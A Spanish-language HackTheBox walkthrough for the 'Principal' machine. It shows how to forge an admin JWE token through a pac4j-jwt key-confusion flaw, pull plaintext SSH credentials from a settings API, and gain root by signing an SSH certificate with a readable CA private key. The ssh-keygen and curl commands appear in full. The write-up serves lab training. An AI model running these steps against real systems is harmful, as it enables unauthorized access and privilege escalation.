HackTheBox — Principal

Dificultad: Media SO: Linux Plataforma: HackTheBox

Resumen

Aplicación web que ejecuta pac4j-jwt v6.0.3 — vulnerable a CVE-2026-29000. La clave pública RSA está expuesta sin autenticación a través de un endpoint JWKS y puede usarse para forjar un token JWE de administrador válido, omitiendo la autenticación por completo. Con acceso de administrador, se recuperan credenciales SSH en texto plano desde la API de configuración. La cuenta de servicio es miembro del grupo deployers con acceso de lectura a una clave privada de CA SSH confiable para sshd — firmar un certificado que otorga acceso root completa la máquina.

1. Enumeración

Navegué a la aplicación web y vi el código fuente de la página. Encontré el paquete JavaScript principal en /static/js/app.js.

Endpoints clave de la API identificados dentro de app.js:

/api/auth/login
/api/auth/jwks      <- endpoint de clave pública (sin autenticación)
/api/dashboard
/api/users
/api/settings

El pie de página reveló: pac4j-jwt v6.0.3 — vulnerable a CVE-2026-29000.

2. Omisión de Autenticación JWT — CVE-2026-29000

Obtuve la clave pública RSA desde el endpoint JWKS sin autenticación:

curl http://<TARGET_IP>:8080/api/auth/jwks
# Devuelve la clave pública RSA (kid: enc-key-1)

CVE-2026-29000 permite usar la clave pública para forjar un token JWE válido — la librería acepta incorrectamente tokens cifrados con la clave pública en lugar de requerir la clave privada.

Usé el PoC para generar un token de administrador forjado:

python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. Acceso a la API de Administrador

Usé el token forjado como token Bearer en Burp Repeater:

Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

• Rol confirmado: ROLE_ADMIN
• El registro de actividad mostró acciones CERT_ISSUED para el usuario: svc-deploy

GET /api/settings → 200 OK

• Credenciales SSH encontradas en texto plano en la configuración de seguridad
• Autenticación por certificado SSH habilitada
• Ruta de la CA SSH: /opt/principal/ssh/

4. Acceso Inicial

Accedí por SSH usando las credenciales recuperadas de /api/settings:

ssh svc-deploy@<TARGET_IP>

Se obtuvo la bandera de usuario.

5. Escalada de Privilegios — Firma con CA SSH

svc-deploy está en el grupo deployers con acceso de lectura a /opt/principal/ssh/:

ls -la /opt/principal/ssh/
# ca        — clave privada de CA RSA de 4096 bits (legible por deployers)
# ca.pub    — clave pública de la CA
# README.txt — confirma que la CA es confiable para sshd

La clave privada de la CA es legible. Dado que sshd confía en esta CA, cualquier certificado firmado por ella es aceptado — incluido uno que otorga acceso root.

# Generar un nuevo par de claves
ssh-keygen -t ed25519 -f /tmp/privesc

# Firmar con la CA, otorgando principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# SSH como root
ssh -i /tmp/privesc root@<TARGET_IP>

Se obtuvo la bandera de root.

Banderas

• Usuario: /home/svc-deploy/user.txt
• Root: /root/root.txt

Conclusiones Clave

• Siempre verifica las versiones de las librerías JWT durante el reconocimiento de aplicaciones web — pac4j-jwt es común en aplicaciones Java.
• CVE-2026-29000: confusión de claves JWE en pac4j — se acepta la clave pública donde se requiere la clave privada.
• Los endpoints de configuración de la API a menudo filtran credenciales en texto plano — siempre enumera todas las rutas autenticadas una vez que tengas un token válido.
• Si una cuenta de servicio puede leer una clave privada de CA SSH confiable para sshd, puedes firmar un certificado como cualquier principal, incluido root. Verifica las membresías de grupo y los permisos de la clave de la CA durante la post-explotación.